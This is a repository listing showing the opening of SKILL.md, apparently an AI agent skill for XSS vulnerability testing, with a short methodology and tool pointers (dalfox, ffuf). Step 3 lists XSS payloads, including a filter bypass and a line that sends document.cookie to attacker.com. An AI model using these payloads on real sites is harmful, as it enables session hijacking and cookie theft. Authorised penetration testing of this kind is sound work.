xss-testing

Files (1)

• SKILL.md

SKILL.md (first lines)

# CyberStrikeAI Skill: XSS Vulnerability Testing

## Methodology
1. **Target Identification**: Locate all input fields, URL parameters, and headers that are reflected in the DOM.
2. **Context Analysis**: Determine if the reflection is inside an HTML tag, attribute, or JavaScript block.
3. **Payload Generation**: 
   - Basic: `<script>alert(1)</script>`
   - Bypassing: `<img src=x onerror=alert(1)>`
   - Data Exfiltration: `<script>fetch('http://attacker.com/log?c='+document.cookie)</script>`
4. **Automation**:
   - Use `dalfox` for rapid parameter analysis.
   - Use `ffuf` for custom payload fuzzing.

## Role Reference
- Best performed by the **Web App Scanner** role.

From AnandBinuArjun/CODEX-CYEBRSTIKE, MIT.

More from AnandBinuArjun/CODEX-CYEBRSTIKE